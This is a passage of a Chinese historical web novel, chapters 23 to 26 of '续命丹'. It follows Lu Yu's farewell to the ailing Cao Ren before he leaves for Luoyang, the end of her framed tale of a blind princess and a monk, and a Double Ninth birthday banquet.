一个叫“唐”的国家,有一所皇家佛寺叫法门寺。一日,皇帝宠妃德妃从法门寺回来后被查出有孕,这是皇帝继位多年第一次听到这般喜讯,于是对德妃及她的亲属大肆封赏。 甚至因德妃惧热特意为其建了莲花宫,莲花宫内有一大片湖水,湖中种满莲花。 终于到德妃生产之日,全国上下皆等着传来德妃诞下皇子的喜讯,可德妃产下的是一名女婴。 皇帝虽然心有遗憾,但毕竟是他的第一个孩子,他给女婴取了名字为“元”,宫人皆唤她元公主。 一切的转变发生在元公主满六个月的时候,皇帝多次逗弄元公主,元公主却始终不看皇帝的脸,皇帝一怒之下召了太医查看,才知元公主竟然是天生眼盲,她长有一双美丽的大眼睛,却是不能视物的。 帝王的宠爱来的快,去的也快,自此以后,莲花宫犹如冷宫,帝王从此不再踏入其地。 德妃失去宠爱后,在莲花宫中设置佛堂日日参佛,虽只有母女相依为命,莲花宫的莲花却开的越来越好。 其实德妃当日诞下的是一名皇子,可皇后嫉妒德妃得宠又担心德妃的皇子被立为太子后惨遭废后,所以她先是找了一名道士给皇帝,让皇帝迷上了修道炼丹,然后打算在德妃生产时联合负责宫中宿卫的宗正一起将孩子偷梁换柱。 可德妃突然早产,宗正一时间找不到合适的女婴,在利益驱使下,他用自己出生没多久的女儿换走了德妃的皇子。 自此以后,宗正打着监视德妃母女的名义经常去莲花宫看元公主。 德妃常年参佛,性格冷清,虽然很爱护元公主但终归让元公主觉得孤独。 元公主慢慢长大,开始好奇宫外的世界,听母妃时常提起法门寺,便想让宗正带她去法门寺,然后找一个懂佛法的小和尚回来给她讲经。 宗正怜惜女儿,便同意了。 那年元公主十岁,在众多年龄相近的小和尚中用点豆子的游戏选中了一个小和尚,名觉能。 觉能小和尚和元公主同岁,无父无母,法门寺主持怜惜他将其养大,从出生起他从未离开过法门寺。 听说要去宫里,他有些害怕,可主持鼓励他,离开熟悉的环境去陌生的地方也是一种修行。 自此,觉能住在莲花宫将他所学佛经中的故事讲给元公主听。 觉能自幼聪慧,看经书过目不忘,对故事的理解也透彻,他的到来仿佛给元公主打开了另一个世界的大门,从此,元公主一片漆黑的世界有了颜色。 不知不觉,元公主已及笄,可莲花宫依然冷清,他的父皇仿佛早已忘了她的存在。 这一天,元公主第一次提出想要摸摸觉能的脸,觉能犹豫了一下,在看到元公主睁着大大的眼睛满是期盼时,他同意了。 又过了一年,佛诞日,法门寺主持请出佛祖舍利供信徒膜拜,在一声声梵音中,元公主的眼睛终于复明了。 觉能一袭灰色僧袍站在众僧侣中诵着佛经,她却能一眼就认出他,他和她想象的一摸一样。 盛会结束,觉能陪元公主回宫,元公主因第一次真切的看到觉能曾向她描述的风景而激动不已。 一路上,她不停的问着所见为何物,而觉能则不厌其烦的一一做出解答。 时间慢慢流逝,少女的心也慢慢变得复杂,一天下午,觉能讲到佛经中三皈依的故事时,元公主突然打断他。 元公主说:“佛门三皈依,那我的是四皈依。” 觉能问:“何为四皈依?” 元公主答:“皈依佛,皈依法,皈依僧,皈依元公主。” 言毕,元公主羞涩的笑着跑开了。 觉能听了,留在原地疑惑地低声复述了最后一个皈依,他瞬间听懂了元公主未尽之言, 23. 第二十三 一世安好 《续命丹》全本免费阅读 从南安王府出来,谢洐在即将踏入牛车前忍不住转身走至陆氏的车架旁,问:“一世安的故事,小九应当没讲完吧?” 陆萸坐在车架上,笑回:“谢九叔若不怕听了难受,我可以把剩下的讲完。” 谢洐不置可否的一笑,道:“见过大风大浪之人,怎会那般不堪一击。” 元公主并没有去封地,而是随觉能回了法门寺,然后亲眼看着觉能冲进火海。 觉能的舍利被取出后,宗政想用其替换佛祖舍利以平息帝王的怒火,所以当着众人砸碎了觉能的舍利。 元公主悲愤之下自刎在了宗政面前,鲜血染红了碎了一地的舍利。 “故事至此完结,不知谢九叔可还能够承受?”陆萸狡黠一笑看看着谢洐问。 见他久久不语,她裣衽行礼后,钻进了牛车。 谢洐怔怔的看着陆氏的车架渐行渐远,却久久不能回神。 这才该是故事的结局,长期浸淫于权利中的人怎么可能那般容易被感动?宗政如是,帝王如是,皇后更如是。 陆氏的车里,木槿瓮声瓮气地开口:“女公子这结局还不如之前那个呢,看来之前是奴婢贪心了。” 素来稳重的木槿如今竟然哭得两眼通红,陆萸好笑的摸了摸她的头,叹道:“普通人都是贪心的,我们不过是普通人罢了。” 欲念之人,犹如执炬,逆风而行,必有烧手之患。 陆萸想着曹壬方才的话,道理大家都懂,可这世上又有几人能真正抛的下欲念? 一世安的原故事远比这个错综复杂,但因为要讲给曹壬听,她适当进行了改编,她不想过多渲染元公主和觉能的爱情。 故事以德妃对女儿一生的期盼为题,是陆萸自己的小心思。 只要当今陛下迟迟未选定下一任太子,那所有符合年龄的藩王公子就都有问鼎东宫之位的机会。 可就因为如此,哪怕曹壬无欲无求,只一心向佛,所谓:匹夫无罪,怀璧其罪,但凡沾染了权利,又有谁能真的做到独善其身。 通往权力的路往往都是充满荆棘充满血腥的,她不能对当下时政做任何点评,唯有通过这个故事暗示他:不忘初心之余亦不可无防人之心。 她只想告诉他,唯愿君求仁得仁,一世安好。 夏天悄然来袭,建业城玄武湖上的揽英亭也迎来了两年一次的大中正点评。 大中正这次对江左学子的点评比以往任何一年都热闹,只因今年入洛阳太学意味着可以和下一任太子甚至下一任帝王同窗。 为此,整个江东的学子们皆涌入建业城,有跃跃欲试想一展才华的,有想要提前热身为下一次点评做准备的,有因为好奇盛况特意来观摩的,也有纯为了巴结南安王世子而来的。 陆萸没去现场看过,自听闻曹壬打算去洛阳后,她一直在设计一盏走马灯。 虽然这个时代也有元宵节,却没有赏灯的习俗,陆萸也没见过后世那种精美的走马灯。 走马灯上有平放的叶轮,下有燃烛或灯,热气上升带动叶轮旋转,燃灯以后热气上熏,纸轮辐转,灯屏上即出现人马追逐、物换景移的影像。 陆萸没有画传统的人马追逐,而是画了一幅小童追蝶,一幅小狗追小童,经过制灯师傅多次调试,一个充满童趣的灯便做好了。 点燃灯后,灯屏自动旋转,画中小童开心地追逐彩蝶,而身后跟着一只活灵活现的小狗,让人观之,不由自主想起无忧无虑的童年。 大中正的点评会持续了整整一个月,终于在夏至时节落下帷幕。 长兄陆弘能成功入选毫无悬念,其余入选人员陆萸没有关注,她只关心他们何时出发前往洛阳。 两位兄长一早就去南安王府商定前往洛阳的时间和行程,陆萸一直在芝兰院等消息。 直到银杏报两位公子回来了,她忙整理好衣裙去寻二位兄长。 陆弘的书童青竹见到陆萸,忙将她带去了书房。 才刚进书房,陆萸便感觉气氛很不对,素来大咧咧的二兄此刻脸上满是忿忿,而大兄也沉吟不语。 关上门后,陆萸小心地问:“二位兄长此次去南安王府与世子商议行程,可还顺利?” 她这一问,陆弘还未回答,陆纯却像被点了火的爆竹一般,噼里啪啦诉说起所有对世子曹善的不满。 曹善身为南安王世子,哪怕没有被点评,也能成功入太学。 可不知为何,他频繁下场参与辩论,甚至时不时为难陆弘,知道的只当世子是个学痴,迫切的想和陆弘切磋,不知道还以为二人有什么过节。 好在陆弘学识过人,虽然屡屡被曹善弄得措手不及,但也还是能够应对自如,这才没有影响最终点评结果。 眼看秋季入学时间将至,二位兄长想着两家有婚约,应当约着一同前往洛阳,这样路上也能互相照应。 谁知曹善拒绝了,曹善的原话是:“想来二位必然要与兄长同行,那我便只能和顾家表兄先行一步了,唯恐行程太赶影响兄长养病。” 陆萸听了,一时也有些发懵,曹世子这是吃错了什么药吗? 他去参加辩论,可以理解为他爱出风头,亦或者是因为对问鼎太子之位信心十足所以去拉拢人心。 但是阴阳怪气的拒绝和两位兄长同行,总感觉莫名其妙的厉害。 陆纯于是愤懑至极,低声道:“还没坐上那位子,就如此行事,若真坐上了,是不是要把婚约都退了。” “住口”一旁的陆弘突然出声打断陆纯,虽然他也对曹善的行事很是失望,但毕竟两府还有婚约,只能忍着一切等日后再说。 “今后这话不可再说,亦不要向阿婠提起”陆弘严肃道。 陆纯还想再辩解一二,见到兄长严冷的表情,只诺诺道:“他拒绝便罢了,还害君期以为是他拖累了我们,堂堂世子竟如此小肚鸡肠,哪里配得起阿婠。” “陆纯”陆弘此刻真是怒极,厉声打断后,接着道:“长辈们的决定何时由得你置喙!” “行行行,我不管这些破事了,日后莫要后悔就是”陆纯破罐破摔一般气冲冲的出了书房。 “你又要去哪里”陆弘也知方才自己语气有些重,忙问。 “跑马”陆纯的声音传来。 两位兄长争吵,陆萸也插不上话,她在脑海中细细捋了一下真实的曹善,而不是那个盛名在外的曹世子。 真实的他,喜清谈,不务实,常与长兄意见相左。 太子薨后,陛下下诏书,巴结他的人必然多了起来,而两位兄长却对他和以往没有什么不同,这也许让他记恨在心了。 加之前阵子曹壬病重,两位兄长和自己,以及谢洐都频繁去探望曹壬,这在他心底可能留下了猜忌。 谢洐哪怕不入仕,背后依然有太后和陈郡谢氏。 想通这些,陆萸也理解曹善为何不愿同行了,她轻叹一声,道:“君期所言其实没错。” “阿萸看问题比季真透彻,他白长你这许多岁”陆弘揉了揉眉间叹道。 弟弟从南安王府回来一路上都在与自己争执,真是令自己头疼的紧,好在妹妹是个通透的。 “那阿兄有何打算?是提前与世子同行,还是?” 毕竟曹善很有可能成为太子,她私心希望他们能和曹壬同行,却不敢拿兄长的前途去赌。 闻言,陆弘不悦道:“我陆氏向来行得正坐的直,只凭本心行事,他若猜忌,那便随他,君期身子虚弱,我既为他好友,怎可在此时弃他不顾?” 陆萸心里松了一口气,兄长从未让自己失望过。 她笑问:“那你们和君期可定了时间?” “两日后启程,君期约你明日去赏海棠花”陆弘说着,眼中有一丝不忍,却很快消失。 陆萸得了准信,心中便有的打算,好在走马灯已做好,待两日后去码头送别时送给曹壬就可以了。 她开心的和兄长道别,转身刚踏出书房的门,陆弘却突然喊了一声“阿萸!” 扭头疑惑的看着陆弘,陆萸问:“兄长可还有事吩咐?” “没事,你明日早些去”陆弘顿了一下,笑着答。 陆萸答应后,回去芝兰院的路上对兄长的婆妈行为有些不解。 莫不是被曹世子气狠了,性子都变了?这般想着,她对曹世子的印象更差了。 安和九年,六月初九,阳光明媚,风和日丽,陆萸早早的坐上牛车赶往南安王府。 刚踏进行云院的门,陆萸远远的看到曹壬坐在回廊下的苇席上,一旁放着书案和茶具,红泥小炉上煮着水。 见到陆萸,曹壬展颜道:“你来了。” 清晨的阳光悉数散落在少年白皙的脸上,让少年原本苍白的脸显得不够真实,他这一笑有如绽放在清泉中的白莲璀璨夺目,让陆萸看得炫目。 她恍恍惚惚行至曹壬对面坐定后,才关切道:“早上的太阳不够暖和,你不该坐这里的。” 原本海棠花在这个季节早已凋谢,可今年的节令推迟了,所以还有最后一批花蕊争相开放中。 春风用意匀颜色,销得携觞与赋诗。 海棠花素来以淡雅娇美著称,这晚来的海棠更是美的动人心魄。 曹壬看着枝头的海棠,笑道:“阿萸无需再为我担忧了,徐医仙刚给我来信,已经找到治愈旧疾的方子。” “当真?”陆萸惊喜地双手撑着案几,身子微微往前倾,看着曹壬问。 “听闻服用三月就能痊愈”曹壬点点头答。 “太好了,我终于不用担心你在洛阳受寒了”陆萸眼角眉梢皆是藏不住的欢喜。 曹壬没有接她的话,而 24. 第二十四 明灯 《续命丹》全本免费阅读 陆萸刚踏入院中时觉得今日的海棠美得让人沉醉,如今再看却只想到满眼皆是留不住花期的无奈。 她一直都知道曹壬想皈依佛门,也知道这一天早晚会来临,可真当他说出诀别的话语时,她心底闷的难受却又说不出具体原因。 调整好情绪后,她淡然一笑,道:“聚散因缘起,因果各自散,纵使将来不再相逢,我亦能永远记住曾经有位少年待我满是真诚。” “吾亦然!”曹壬回。 陆萸不是扭扭捏捏拖泥带水的性格,想通了,倒也没表现得太过伤感。 她笑着接过盒子盖上盖子后,道:“这就当是你给我婚礼备的厚礼吧。” 她还记得当初在马车内,他说过她若觅得良人,定会备一份厚礼。 不待他回答,她又笑道:“许久未听到你的琴音,今日能否再为我抚一曲?” 曹壬问:“阿萸想听哪首?” 陆萸想起当初游湖时他和兄长的琴箫合奏,便道:“就听《流水》吧。” 曹壬让方言收走案上的茶具后,取出琴,轻轻调试音色。 他整个人沐浴在晨曦之下,古色古香的七弦琴散发着柔和光泽,抚琴的手指莹白如玉,手指微微弹动,美妙的琴音就清泉细流一般汩汩而出。 陆萸安静的坐在案几旁,看着海棠花被风吹落,听着悠悠缭绕的琴音,鼻间仿佛嗅到海棠花的清香。 这一刻,她突然想着就这样坐到地老天荒也挺好。 可惜,正如她讲过的那些故事,无论是否圆满,终有完结之时。 当曹壬的琴弹下最后一个尾音之时,陆萸拉回遥远的思绪,看着海棠花间飞舞的蝴蝶悠悠开口:“传说有两位高僧,寒山和拾得。 一日,寒山问拾得:世间有人谤我、欺我、辱我、笑我、轻我、贱我、恶我、骗我,该如何处之乎?” 曹壬闻之,问陆萸:“拾得如何作答?” 陆萸转过头注视着曹壬,笑回:“拾得答:只需忍他、让他、由他、避他、耐他、敬他、不要理他、再待几年,你且看他。” 拾得的回答霸气且参透一切,让曹壬听后久久未能回神。 陆萸没想过曹壬会对这样的回答即刻做出回应,因为自己当年看到这句话时也是颇受震撼。 她起身走到海棠树下,对着他盈盈一拜:“凡人修行,道长且阻,愿君珍重!” 怔愣中的曹壬没有起身回礼,放在琴弦上的手指微微收紧后又松开,他笑着回:“珍重。” 陆萸再次回礼,然后潇洒转身。 她经历过太多离别,早已不会为分别痛哭流涕,既无力改变,那就洒脱放手。 他有他的梦想要去追逐,她亦有她的人生需要经营,如今这般,其实刚刚好。 曹壬坐在琴前,静静地看着陆萸的背影渐渐消失在视线里。 再次起风,即将开败的海棠花极易被吹落,纷纷扬扬,好似漫天飞舞的雪花,让身处夏日骄阳下的曹壬觉得彻骨寒冷。 今日天还未亮,他就让方言给自己上妆,只怕她看出他的病容,他私心希望好友往后再忆起今日这场别离时,海棠花下的少年是健康的。 他从黎明时分就坐在廊下,看着太阳一点点升起,看着那个女孩穿着她最爱的绿色衣裙,带着满眼的星辰,自那棵海棠树下向自己走来。 如今她带着他能送出的最后一份礼物,从那棵树下离去,此番一别许是永无再见之期,回头细算,他们相识已整整五年。 五年,于好友漫长的一生而言其实很短,而于自己即将逝去的生命而言,五年的时间很长,长到足够回味一生。 他第一次这般坦然的向那个明媚的女孩撒谎,可他觉得这才是他想要的圆满。 他不会让她知道根本没有什么能治愈旧疾的良方,不会让她知道他已开始咳血,更不会让她知道此番洛阳之行或许注定有去无回。 他不是逞强非要去洛阳,只是知自己身体每况愈下,不想让她看到自己的落魄不堪,不想看到她那双明亮如星辰的双眸噙满泪水。 一声“咚”的声音传来,竟是他隐忍之下将琴弦生生扯断了,他低头看了看受伤的手指,恍惚间嘴角忍不住上扬,原来还会疼也是一种庆幸。 方言看到曹壬的手指出血,忙去屋内取药。 江澈不忍的开口:“少主,女公子已经走了,我们回屋吧?” 曹壬剧烈的咳嗽起来,不知咳了多久,咳嗽让他惨白的脸终于泛起红色,当他拿开捂在嘴上的手帕时,上面赫然一片鲜红。 他左手扶着案几才堪堪坐稳,喘息着回:“再看看这海棠吧。” 或许明年再也看不到了。 江澈拿走那块染血的手帕,一个大男人却已是忍不住红了眼眶,他像往常一样将手帕扔进火盆中,很快火苗吞噬了手帕,什么都没有留下。 曹壬将自己的打算告知方言和江澈时,他二人是极力反对的。 去洛阳,先不说徐医仙到时候能否及时救治,就算能,建业至洛阳山水相隔,路途奔波于他的身体也是一种折磨。 可曹壬想的却是若真如医仙所言已时日无多,那他想去看看向往已久的白马寺。 如果一开始就想要遁入空门,又何必在意早晚。 与其一日日缠绵病榻让关心自己的人伤心落泪,何不早早离去,让他们只记得他最好的时刻? 他向老王妃辞行的时候,也是这般和她解释的,这府中,他需要辞行的人,也只有老王妃一人了。 老王妃常年礼佛,对生死离别看得比较通透,听完曹壬的打算,默然许久,才道:“既已有决断,那便去做吧。” 曹壬再次深深一拜:“谢祖母多年来的照拂,也谢祖母的理解与包容,君期走后,望祖母珍重。” 老王妃崔氏坐在上首,看着跪在地上的孙子,想起当年刚从琅琊王氏带回来的男孩,那时候也如今日这般平静。 哪怕那时候他只有五岁,突然到一个陌生的环境,见了陌生的人,他却能无忧无惧,平静的审视南安王府中的一切。 是她让他修佛,让他参透离别,参透生死,有今日的果是她早就能预见的。 所以,虽有万千不舍她只笑着回:“也请你珍重。” 一声珍重,一场离别,人生聚散,都是寻常。 陆萸离开南安王府后,也没有表现出太多悲伤的情绪。 因是夏日,牛车的帘子已换成了透气较好的纱帘,她看着阳光透过纱帘照在手中的小木盒子上,光影朦胧只觉不是很真实。 回到芝兰院后,她让木槿把跑马灯装进盒子里,然后静静的看着一大一小两个盒子。 坐了一会,她找出一张纸,写下一行字放入装有跑马灯的盒子,然后边盖上盖子,边对银杏道:“小盒子你先替我收好,我现在去找大兄。” 言毕,她抱起盒子就去陆弘的院子。 夏日午后的阳光带着热度散向大地,院中朴树的枝头传来阵阵蝉鸣,陆萸看着脚下的影子,想起了静初寺那次踩影子的游戏。 想到美好的回忆,离别的伤感好似又淡一些了。 她推开陆弘书房的门时,陆弘正在练字。 他从书案间抬首道:“我一直在等你。” 说完这话,他细细看过陆萸的表情,才叹道:“你远比我想的要通透,我却不知该开心还是难过。” 陆萸将盒子放在书案上,笑道:“自是该开心的。” 将盒子轻轻推过去一些,她接着道:“明日你将这盒子给君期。” “好”陆弘答应,看着盒子却没问里面是什么。 静默须臾,陆萸笑着开口:“我这人素来懒散,所以不想起太早去码头送你们了,在此预祝兄长在太学学有所成。” 陆弘笑着应:“也祝妹妹早日习得一手好字。” “那是自然,届时阿兄回来可抽查。” 陆萸自信满满的答。 二人又聊了一下他们此番行程安排,眼看晚膳时间将至,陆萸才从书房出来。 陆弘再次叫住她,问:“阿萸是否有话需要我转告君期?” 陆萸离去的脚步一顿,停了片刻,她摇摇头:“没有了。” 夕阳将陆萸的影子拉长,落在了书房的地板上,在合起门的瞬间完全消失。 翌日清晨,陆家众人去码头送别,唯有陆萸缺席。 此次洛阳行,魏家表兄也在其中,嫡母魏氏和陆婠还算镇定,舅母虞氏却哭得像个泪人一样。 表姐不停地在一旁安慰道:“母亲莫要再哭,阿兄只是去两年,还会再回来的。” 原以为听了这话,萸氏能缓和情绪,谁知反而哭得更大声了。 她边哭边道:“我儿何曾去过这么远的地方,又何曾离家这么久,让我日后怎么活呀!” 她一场嚎啕大哭,让魏表姐又羞又急,忙对着甲板上的兄长道:“阿兄快些进船舱吧,不然我都要跟着哭了。” 魏源对能去洛阳期待万分,自是无法体会母亲一番离愁别绪,听了妹妹的话,留下一句:“母亲和妹妹保重!”然后一溜烟的进了船舱。 魏氏还在低声向长子陆弘交代着,陆纯道:“母亲放心,儿一定把兄长们安全送到洛阳再返回。” 魏氏心里也不舍,但是被自家嫂子的一番哭喊弄得不好再多说什么,转头看着小儿子,道:“路上听你兄长的话,切莫冲动。” 又看了眼曹壬主仆,她温声道:“君期此行需要什么尽管和我儿提,无需见外。” 曹壬忙上前行礼答诺。 南安王府竟然连做做面子都懒得了,与昨日世子离开时王爷和王妃在此依依送别相比,如今的曹壬真是冷清极了。 这般想着,她忍不住心疼,道:“一路上如果我儿聒噪扰你养病,就不用对他客气。” 曹壬听了,心中温暖,语气也不知不觉带了激动,他再次行礼后,道“谢府君夫人对某的关爱,能与二位好友同行,是某三生有幸。” 瞧这孩子多懂事呀,长子太老成,幼子太随性,这少年的性子却刚刚好,让魏氏一番离愁仿佛找到了诉说对象。 25. 第二十五章 别后 《续命丹》全本免费阅读 陆萸前世在乡镇初中毕业的时候,全班几十名同学并非都有机会被县城高中录取。 家庭条件稍好一些的同学联系了私立大中专院校,也有的报了职业高中,而读高中无望家里条件也不好的已经筹划着去一线城市打工,那是她第一次经历真正意义的别离。 一群十五六岁的孩子即将奔向不同的命运,哪怕毕业晚会上有搞笑的小品演出,大家也怎么都笑不出来。 有的笑着笑着哭了,那是对未来的迷茫,对相处三年的同学的不舍。 后来她经历了高考毕业,经历了大学毕业,一次又一次的离别。 只是可能因为随着年龄增长,已没了初中时候的单纯天真,也可能因为已经习惯别离并已麻木了,之后再也没有一场离别能像初中那次让人伤感落泪。 再到后来,她经历过一场生死,一切早已看淡,这次告别虽然心中也有不知缘由的发闷,却能很快就做好调整。 她把跑马灯交给陆弘后,想着去洛阳行程太远,路上可能无聊,又听说魏家表兄也同行,便想起多做些吃食,这次的点心是府中厨子和自己连夜赶出来的。 出炉后,不等装盒,她就回去呼呼大睡了,这一睡睡得昏天暗地。 醒来时,她揉揉因侧睡太久被压的发麻的脸颊,闭着眼睛喊了一声:“银杏。” 未听到银杏的脚步声,耳畔最先传来陆婠温柔轻快的声音:“你可算醒了。” 紧接着,银杏端了水进来,陆婠扶起陆萸坐好后,才接过银杏手中的水杯给她喂水。 陆萸不知道发生了什么,只晕乎乎的看见美人姐姐,然后晕乎乎的喝了水,嗓子得了湿润,才懵懵地问:“阿姊怎会在此?我病了吗?” 问完,她还奇怪的摸了摸自己的额头,不烫呀。 “你都睡了一天一夜了,若非医者说你只是累了想睡,我们都要被你吓死了”陆婠有些无奈的回。 没生病就好,陆萸还真怕这个身体生病,每次都要喝那些难以下咽的药,想想都后怕。 只是竟然睡了这么久,也有些出乎意料,她坐直身子伸一个大大的懒腰,才问:“阿兄他们都走了吗?” 银杏听了,“噗嗤”一声笑道:“几位公子早出发了。” 陆萸尴尬的笑笑,来这里以后从来没有熬过夜,身体素质也比不得前世做牛马加班的时候,想不到才熬夜做一次点心就能累成这样。 “身上可有哪里不适?”陆婠关切的问。 摇摇头,陆萸笑道:“我饿了。” 陆婠宠溺一笑,忙让人将吃食送来。 陆萸真是饿急了,起床洗漱好后,立马坐在食案前狼吞虎咽。 “你慢些用,没人和你抢”陆婠说着,心底也松了一口气。 兄长临行前交代她一定要多陪陪妹妹,想着妹妹对曹君期那般上心,此番永别心里定然难受,所以她也很是担心。 那日从码头回来后就来芝兰院守着,如今看来妹妹比自己想的豁达。 一顿风卷残云,陆萸满足的喟叹:“还是美食得人心!” 陆婠笑笑,道:“魏家表姐还未回去,今日想去游湖,你想去吗?” 现在陆纯也去洛阳了,陆萸没法跑马,能游湖消磨时间也是好的,于是她点头道:“我准备一下就去。” 陆婠看妹妹一切正常,也就放心的去准备了。 银杏在为陆萸挑选今日出门的衣裙,问:“女公子今日想穿哪套?” 陆萸看了一眼银杏手中的三套裙子,一套浅蓝色,一套淡黄色,一套浅绿色,她指了指浅绿色那套。 银杏道:“这套浅蓝色的女公子穿的甚少,款式也更新颖,且天热穿这个显得凉爽。” 银杏无法理解自家女公子对绿色的偏爱,这个年龄的女郎都是怎么鲜艳怎么穿,可女公子除了两套浅蓝色,两套浅黄色和一套粉色,其余全是绿色,各种颜色各种款式的绿色。 陆萸没有和她们解释原因,前世她穿的都是村里亲戚家里穿剩下的旧衣服,唯一的新衣服只有校服,那还是奶奶卖了好些鸡蛋才买到的。 当年村里的小学没有严格要求买校服,到镇上初中,第一次穿校服的时候她别提有多高兴,那个记忆中第一件新衣服是绿白相间的运动服。 当有同学吐槽校服款式太土的时候,她却对这个颜色喜欢的不得了。 奶奶和她说:“绿色很挑年龄,本就是充满生命的颜色,女孩穿起来最能体现朝气。” 来到大魏后,虽然已经有无数新衣服可以选择,她却依然钟爱这份绿,绿色除了耐脏,她可以随意走动外,出席重要场合也不显眼。 见银杏很是不舍的看着那套浅蓝色的裙子,陆萸笑道:“夏日里到处都是绿色,说明那也是凉爽的颜色。” 比不过女公子的口才,银杏只得放下其他两套,然后倔强的找了杏黄色小衫和浅粉色腰带,一番搭配下来还算清新,好歹没有那么绿了。 这次游湖,除了魏家表姐,还约了与大兄定亲了的张文茵,她去年已经及笄,现在等着陆弘加冠并从太学毕业定品授官后给二人举办婚礼。 张文茵生的很漂亮,虽然比不上“大魏双殊”,但她的美是属于那种空谷幽兰的美,很有气质,加之有张氏百年文化的熏陶,举手投足间都仿若一幅画。 有美景又有美人,游湖虽然很热,陆萸却也很是惬意。 他们原也约了朱琳,可惜她回复最近几个月内都没心情出游了,便只能作罢。 这次大中正点评的结果真是几家欢喜几家愁,与朱琳定亲的张郎君是张文茵的堂兄,这次点评结果不甚理想,失去了今年秋季入太学的资格。 张郎君心情不好,对张郎君心心念念的朱琳也跟着心情不好,也就没了游湖的兴致。 大家聊起今年的点评结果,自然也聊起了魏家表兄,只因与魏表兄定亲的顾氏女郎是张文茵的表妹。 为此陆萸感叹江东世家们百年间错综复杂的姻亲关系弄得到走哪儿都能粘亲带故的,要是哪家真和另一家翻脸了,估计全江东的世家都要跳出来劝和。 聊起魏表兄,就免不了聊起魏家舅母那次因惊天动地的哭喊声而刷新建业码头记录的送别,用张文茵的话说:那是一场质朴却情真意切的送别。 世家淑女就是不一样,想到用“质朴”来形容魏家舅母,陆萸心中对这个未来嫂嫂多了一层喜欢。 魏家表姐早已习惯自己母亲情绪太过奔放而被人关注,所以聊起来也没有那么尴尬,反倒还笑着道:“母亲素来质朴,想来日后顾家嫂子入了我魏门,也能轻松。” 这话倒也说的在理,在场的几人都点点头。 聊起这门亲,大家一致觉得魏表兄也是随性之人,在少年郎们一致崇善道家自然,追求飘逸的时代,他依然不为虚名折腰,一如既往的保持着那副富态的身材,心宽体胖,用来形容他不为过。 这么想着,陆萸心底忍不住开心起来,想来有这么一位表兄与君期同行,他也不会太过苦闷。 几人聊完魏表兄,又聊起了即将到来的朱氏老夫人的七十大寿,大寿宴席定在九月初九,寓意美好,打算重阳宴和寿宴一起举行。 朱老夫人是大魏世家南北通婚第一人,当年先帝为团结南北世家,特意给崔朱两家赐婚,博陵崔氏自东汉以来都是高门望族,甚至被称为文宗,朱氏在江东虽然也是名门世家,却远比不上崔氏。 先帝赐婚,除了拉拢江东世家,更重要的是文武联姻能更好的稳定江东的局势。 所以朱老夫人崔氏的七十大寿邀请的皆是大魏世家最有头有脸的人物,这样的盛会也是大多未婚少男少女们最喜欢参加的。 “沈家女郎是长沙郡太守的夫人,想 26. 第二十六章 第一次骂人 《续命丹》全本免费阅读 安和九年,九月初九,重阳日,所有的九都凑在一起,是个好日子。 遥知兄弟登高处,遍插茱萸少一人。 陆萸很喜欢重阳日,因为想到王维的诗,便想到自己的名字。 前世读这首诗的时候,不知道古人插的茱萸是红色的茱萸果,后来高中时候感叹茱萸的花期真长,还被同学笑话过。 陆萸如今才真正体会到王维写这首诗时候的心情,哪怕曹壬从未与她重阳登高,但已无再见之日,真的少了那一人。 朱老夫人的寿宴如期举办,魏氏带着两位女儿连同魏家表姐和舅母一同去赴宴。 这样的大型活动,陆萸已经参加无数次,时下民风开放,少男少女们不分开坐,甚至还组织了各种小活动一起玩,比如投壶、对对子,比诗赋。 朱家百年世家,院子修的大也漂亮,亭台阁楼,兰亭水榭应有尽有,院中还有两座小山,为了应节日气氛,朱氏作为主家,待大家都到齐后,组织少年男女们去园中登山。 对登过泰山的陆萸来说,这样的登山实属太儿戏了。 眼看太阳高照,虽早已入秋,盛夏的暑气却还未完全消散,陆萸只觉得太热,不想跟着他们去爬山。 陆婠现在是大家巴结的对象,自是分不开身陪妹妹也不好离开团体,陆萸却不一样。 她今日依然穿着低调的绿色纱裙,见一行人都前往登山处,故意在后面拖拉的她带着银杏偷偷转了个方向。 若非这个裙子是魏氏为参加宴席新给陆萸定做的,银杏今日肯定不会让她再穿绿色。 建业城何时能遇到这般大的盛会,来府中的青年才俊那都是历年以来最多的,女公子竟然不想在其中挑选个如意郎君,银杏真是替主人着急。 离开人群后,银杏还在一脸恨铁不成钢的碎碎念:“女公子,你离开那里,哪里还有机会看那些郎君。” 这两日木槿身体不适,陆萸便带了性格比较活泼的银杏,不曾想小丫头话这么多。 陆萸无奈低声道:“我们是偷偷跑开的,不要再说话了,免得引起别人注意。” 无奈一叹,银杏问:“那您想去哪里?” “自是找个凉快的地方休息呀”陆萸边说着边按朱琳描述的方位找去。 朱琳曾向陆萸介绍过朱氏的府邸,她最引以为傲的是院中有一棵上百年的朴树。 诗经云:芃芃棫朴,薪之槱之,是用来描述周文王重视人才培养,朝中人才济济,所以一直以来朴树都深受世家大族的喜爱。 虽是落叶树,朴树的寿命却非常长,若是家里朴树又大又粗壮且生机勃勃,就表明这家子孙昌盛人才济济。 陆萸早就对这棵树好奇不已,如今天热,打算去欣赏一下树,顺便在树下乘乘凉。 一路上又问了几个朱氏府中侍人,陆萸才终于找到那个树,高大粗壮的朴树树荫浓密,挂满果子,如今果子还未完全成熟。 陆萸远远看着那棵大朴树想起了电影《龙猫》里面那棵树,她站院中仰头望向树梢,真是太高了一眼望不到头。 树下有供人休息的石案,却没有凳子,想来平时都是带着苇席在此休息。 见青石板地面没有什么脏东西,陆萸一屁股坐下,道:“终于到了,就这里了。” 见女公子如此不拘小节,银杏抱怨道:“您好歹让婢子擦一下灰垫上外袍再坐下呀。” 陆萸不甚在意的摆摆手,道:“我不是他们,也没那么讲究,你看,我穿绿裙子的优势不就体现出来了吗?” 银杏无奈,只得小声道:“这里连个人影都没有,若是口渴都没地方找水。” 其实若非今日重阳,大家都去登山了,这地方估计也轮不到陆萸来抢占,应付那些虚情假意的奉承她觉得脸都笑酸了。 随着陆氏水涨船高,现下有人开始关注起陆萸了,谁让陆氏女孩少呢,庶女好歹也姓陆不是? 陆萸今日明显感觉到对自己热情的贵女多了起来,很多面都没见过的女郎竟然也能热情的喊她一声“萸妹妹”或“萸姐姐”。 “天下熙熙,皆为利来,天下攘攘,皆为利往,这里没人,正好省了我去应付。” 言毕,陆萸松快的吸了一口气,老朴树发出的自然清香闻起来当着舒服。 她右手放在石案上,撑着下巴感叹:“以前蓁蓁常找我聊天,我却没好好珍惜,如今一个个都去了洛阳,这才真正体会到百无聊赖呀。” 陆萸坐着,银杏却不敢坐下,毕竟是陌生地方,她得实时关注着周围。 她笑道:“您前日才回的信,今日便想念杨氏女郎?” 